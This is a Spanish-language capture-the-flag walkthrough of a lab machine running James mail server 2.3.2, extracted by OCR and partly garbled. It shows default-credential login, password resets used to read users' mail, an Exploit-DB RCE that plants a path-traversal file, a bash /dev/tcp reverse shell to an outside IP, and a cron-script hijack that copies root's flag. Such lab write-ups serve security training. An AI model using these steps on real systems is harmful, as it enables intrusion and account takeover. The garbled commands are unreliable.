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Descripcion del problema

Durante el analisis se identifico que el servicio James Remote Administration Tool 2.3.2
expuesto en el puerto 4555 utilizaba credenciales por defecto y era vulnerable a una
vulnerabilidad critica de RCE (Exploit-DB 50347). Este fallo permitié escribir archivos
maliciosos mediante path traversal, que se ejecutaron tras acceder por SSH con credenciales
obtenidas en los buzones de correo de los usuarios. Con ello se establecié una conexion
reversa hacia el atacante y, combinando esta técnica con un cronjob mal configurado, se logro
escalar privilegios hasta root.

Iniciamos con un escaneo de la IP objetivo para detectar todos los puertos abiertos en el
sistema.

[:E- ]1-[10.10.14.135]-[excallbur@ 1=[~]
[#]1$ nmap -p- 10.129.129.253

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-©9-908 11:13 CDT
Nmap scan report for 10.129.129.253

Host is up (@.0087s latency).

Not shown: 65529 closed tcp ports (reset)

PORT STATE SERVICE

22/tcp open ssh

25/tcp open smtp

80/tcp open http

11@/tcp open pop3

119/tcp open nntp

4555/tcp open 1sip

Nmap done: 1 IP address (1 host up) scanned in 5.97 seconds

Enumeracion detallada de servicios

A continuacidn, realizaremos un escaneo mas detallado para identificar las versiones de los
servicios expuestos en el objetivo.



[:E_ ]-[18.10.14.135]-[excallbur@ 1-[~]

[«]1$ nmap -sV -p 22,25,80,110,119,4555 1@.129.129.253

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-08 11:13 CDT

Stats: ©2:01:36 elapsed; @ hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 33.33% done; ETC: 11:18 (@:03:12 remaining)

Nmap scan report for 1@.129.129.253

Host is up (0.0075s latency).

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4pl Debian 1@+deb9ul (protocol 2.0)
25/tcp open smtp?

80/tcp open http Apache httpd 2.4.25 ((Debian))

11@/tcp open pop3?

119/tcp open nntp?

4555/tcp open 1sip?

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap
.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 165.17 seconds

Queremos sacar las versiones de los servicios relacionados con el correo electrénico. Como
nmap no devolvia la informacion de version incluso probando con distintos parametros, opté
por usar netcat para interactuar directamente con los servicios y obtener sus versiones.

Puerto 4555

[:E_ ]-[10.10.14.135]-[excallbur@
[#]% nc 10.129.129.253 4555

JAMES Remote Administration Tool 2.3.2
Please enter your login and password

Login id:

Puerto 110

[:[ ]-[10.10.14.135]—[excallbur@ 1-[~]
[#]$ nc 10.129.129.253 110

+0K solidstate POP3 server (JAMES POP3 Server 2.3.2) ready

Puerto 25



0. .129. 25
220 solidstate SMTP Se (JAMES SMTP Server 2.3.2) ready Mon, 8 Sep 2025 15:14:27 -049@ (EDT)

[
Investigacion, Acceso y explotacion

I__[. 1-110.10.14.135]—-[excallbur@
[*]$ nc 1

Una vez conociendo las versiones, vamos a buscar la version de JAMES Remote

Administration Tool 2.3.2.
]1-[10.10.14.135]—-[excallbur@
rchsploit Ja ;

Apache e 2 2 - Insecure User ation Arbitra asp = 8130.1b
Apache 2 eY 2.3.2 - Remote Command Execution i emote/35513. py
Apache er 2.3.2 - Remote Command cution (RCE) (Authenticated) (2) 2

Shellcodes: No Results

Podemos ver que tenemos una vulnerabilidad RCE en esta version de servicio y ese payload.
Esta vulnerabilidad nos permite ejecutar comandos de forma remota a través de la consola de
administracion. El exploit no nos entrega directamente una shell activa, realmente aprovecha la
funcionalidad de James para escribir un archivo malicioso en el sistema objetivo. Este archivo
se ejecutara una vez iniciemos sesion con SSH usando las credenciales que conseguiremos
proximamente; en ese momento, se deberia iniciar la conexion con nuestro listener.
Permitiéndonos obtener una shell mas estable que luego podremos mejorar para tener una
TTY interactiva.

El primer paso de la explotacién sera conectarnos mediante netcat al servicio James Remote
Administration Tool, utilizando las credenciales por defecto.



[:E- ]-[10.10.14.135]—[excallbur@
[*]1% nc 10.129.130@.191 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
oot
Password:
Toot
Welcome root. HELP for a list of commands
help
Currently implemented commands:
help display this help
listusers display existing accounts
countusers display the number of existing accounts
adduser [username] [password] add a new user
verify [username] verify if specified user exist
deluser [username] delete existing user
setpassword [username] [passwoxd] sets a user's password
setalias [user] [alias] locally forwards all email for 'user' to 'alias’
showalias [username] shows a user's current email alias
unsetalias [user] unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username] shows a user's current email forwarding
unsetforwarding [username] removes a forward
user [repositoryname] change to another user repository
shutdown kills the current JVM (convenient when James is run as a daemon)
quit close connection
[1£- ]-[10.10.14.135]—[excallbur@ 1=[~1
(+1s I

listusers

Existing accounts 6

user: james

user: ../../../../1../..[../../etc/bash_completion.d
user: thomas

user: john

user: mindy

user: mailadmin

A continuacion, accedemos mediante Telnet a las bandejas de correo de los distintos usuarios
para revisar sus mensajes y posibles credenciales expuestas. Para poder hacerlo, tendremos
que "resetear" los passwords de los usuarios.

setpassword USER PASSWORD

setpassword james jamesl
Password for james reset

Una vez lanzado el comando, recibimos confirmacién de que el password ha sido reseteado.
Ahora si, podemos conectarnos por Telnet a las bandejas de correo de los usuarios.




$ telnet 10.129.13@.191 110
Trying 10.129.130.191...
Connected to 10.129.130.191.
Escape character is 'A]'.
+0K solidstate POP3 server (JAMES POP3 Server 2.3.2) ready

|__[. ]-[10.10.14.135]-[excallbur@
[]

La bandeja de James esta vacia.

Thomas

+0K Welcome thomas
list
+0K @ @

user john

+0K

pass johnl

+0K Welcome john
list

+0K 1 743

1 743

El usuario John si tiene mensajes en su bandeja, vamos a revisarlos.




+OK Message follows
Return-Path: <mailadmin@localhost>
lessage-ID: <9564574.1.1503422198108. JavaMail.root@solidstate>
IME-Version: 1.0
ontent-Type: text/plain; charset=us-ascii
ontent-Transfer-Encoding: 7bit
Delivered-To: john@localhost
Received: from 192.168.11.142 ([192.168.11.142])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
for <john@localhost>;
Tue, 22 Aug 2017 13:16:20 -040@ (EDT)
Date: Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
From: mailadmin@localhost
Subject: New Hires access
John,

an you please restrict mindy's access until she gets read on to the program. Also make sure that you send her a tempory password to login to her accounts.

hank you in advance.

Segun este correo, Mindy probablemente tenga sus credenciales en un mensaje posterior.

Mindy

[:E. ]-[10.10.14.135]—[excallbur@
[#]$ telnet 10.129.130.191 110

Trying 10.129.130.191...

Connected to 10.129.13@.191.

Escape character is ']’

user mindy

pass mindyl

+0K solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
+0K

+0K Welcome mindy

Podemos ver que hay mas de un correo. El primero no contiene informacion relevante.

+OK Message follows
Return-Path: <mailadmin@localhost>
lessage-1D: <5420213.@.1503422039826. JavaMail. root@solidstate>
IME-Version: 1.0
ontent-Type: text/plain; charset=us-ascii
ontent-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
for <mindy@localhost>;
Tue, 22 Aug 2017 13:13:42 -040@ (EDT)
: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
From: mailadmin@localhost
Subject: Welcome

Pear Mindy,

elcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enc
losed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here
to support your transition so, please know that you can call on any of us to assist you.

We are looking forward to you joining our team and your success at Solid State Security.

En el segundo correo, en cambio, encontramos las credenciales de la usuaria Mindy, las
cuales parecen ser validas también para el servicio SSH. Procedemos a probarlas.




Tetr 2
+0K Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399. JavaMail . root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
by solidstate (JAMES SMTP Sexrver 2.3.2) with SMTP ID 581
for <mindy@localhost>;
Tue, 22 Aug 2017 13:17:28 -048@ (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -@400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,
Here are your ssh credentials to access the system. Remember to reset your password after your first login
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.

username: mindy
pass:

Respectfully,
James

Mailadmin

|—_[- ]-[10.10.14.135]-[excallbur@
[]

$ telnet 10.129.130.191 1190
Trying 10.129.130.191...
Connected to 10.129.130.191.
Escape character is 'A]"
+0K solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
user mailadmin
+0K
pass admin
+0K Welcome mailadmin

mailadmin no tiene mensajes.

Porbamos a acceder por ssh con las credenciales de mindy;




[:E- ]-[10.10.14.135]—[excallbur@ 1=[~]
[#]$ ssh mindy@1@.129.130.191

mindy@1@.129.130.191's password:

Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.3@-2+debSu3 (2017-08-06) 1686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usxr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 22 14:00:02 2017 from 192.168.11.142
-rbash: $'\254\355\005sr\@3601g.apache.james.core.MailImpl\304x\1\345\274\317003\5' : command not found
-rbash: L: command not found
-rbhash: attributestlLjava/util/HashMap: No such file or directory
-rbash: L
errorMessagetLjava/lang/String: No such file or directory
-rhash: L
lastUpdatedtlLjava/util/Date: No such file or directory

-rbash: Lmessaget!Ljavax/mail/internet/MimeMessage: No such file or directory
-rbash: $'L\@04nameq~\@02L': command not found
-rbash: recipientstlLjava/util/Collection: No such file or directory
-rbash: L: command not found
-rbash: $'remoteAddrg~\@@2L': command not found
-rbash: remoteHostg~LsendertLorg/apache/mailet/MailAddress: No such file or directory
-rbash: $'L\@@5stateq~\0@2xpsr\@350rg.apache.mailet.MailAddress': command not found
-rbash: $'\221\222\204m\307{\244\002\003I1\003posL\0@4hostq~\002L\B@4userq~\@@2xp': command not found
-rbash: @team.pl>
Message-ID: <3@926454.0.175736172074@. JavaMail.root@solidstate>
MIME-Version: 1.@
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: ../../../../../../../../etc/bash_completion.d@localhost
Received: from 10.10.14.135 ([10.10.14.135])

by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 274

for <../../../../../../..]../etc/bash_completion.d@localhost>;

Mon, 8 Sep 2025 16:01:10 -@40@ (EDT)
Date: Mon, 8 Sep 2025 16:01:10 -0400 (EDT)
From: team@team.pl

: No such file or directory

mindy@solidstate:~$ 1s
bin wuser.txt
mindy@solidstate:~$ [

User flag.
mindy@solidstate:~$ cat user.txt

Escalada de privilegios

Es el momento de preparar el script de explotacion para la vulnerabilidad en James 2.3.2. Lo
descargamos de Exploit-DB, damos permisos de ejecucion




.com ( ).com) |192.124.249.13|:443... connected.
, response... 200 OK
Length: (4.6K) [text/plain]
Saving to: ‘50347’

50347

2025-09-08 17:16:03 (144 MB/s) - '50347' saved [46 g

|: ]-[10.10.14.135]-[excallbur@
[«#]$% chmod +x 50347

y lo lanzamos. Este script no genera el RCE directamente, necesita que iniciemos sesion por
SSH con un usuario valido.
1-[~]
.13¢ 37.123.47 4444
for more options): /bin/bash -i >& /dev/tcp/94.237.123.47/4444 0>&1
[+]Example netcat listener syntax to use after successful execution: nc -lvnp 4444
[+]1Connecting to James Remote Administration Tool...

Levantaremos un listener:

|—_[‘ ]-[10.10.14.135]—[excallbur@
[«]1$ nc -lvnp 4444

listening on [any] 4444

Una vez abierta la sesiéon SSH, nuestro listener recibe la conexion.

Si esto no ocurre y no recibimos conexién, tenemos alternativas. El procedimiento es el
mismo, generemos la conexiéon con netcat o no.

En este caso, probamos a iniciar sesion en SSH con el parametro ——noprofile para evitar
que se bloqueen comandos.

mindy@
1s

bin
user.txt

mindy

Una vez dentro, mejoramos la TTY:

python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm



python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm

${debian_chroot:+($debian_chroot)}mindy@solidstate:~$

Como se puede ver, al usar bash -—noprofile no se cargan restricciones y podemos ejecutar
comandos con normalidad.

A partir de aqui, subimos linpeas para enumerar el sistema.

Durante la revisiéon encontramos en /opt un archivo llamado tmp.py.

Lo modificamos por linea de comandos:

lidstate:/opt$ echo "" > tmp.py

ho "#!/usx/bin/env python" >> tmp.py
» "import os" >> tmp.py

0 "os.system('cp /root/root.txt /home/mindy/; chown mindy /home/mindy/root.txt')" >> tmp.py

El archivo queda preparado, y solo hay que esperar unos minutos hasta que el cronjob lo
ejecute.

${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py
cat tmp.py

c/bin/env python
import os
os.system('cp /root/root.txt /home/mindy/; chown mindy /home/mindy/root.txt')
${debian_chroot:+(%$debian_chroot)}mindy@solidstate:/opt$

Tras la ejecucion del cronjob confirmamos que el payload funcioné correctamente y la root flag
ha sido copiada en el directorio de Mindy.

mindy@1@.129.21.130's password:

user.txt
wget-log

wget-log.1

cat root.txt




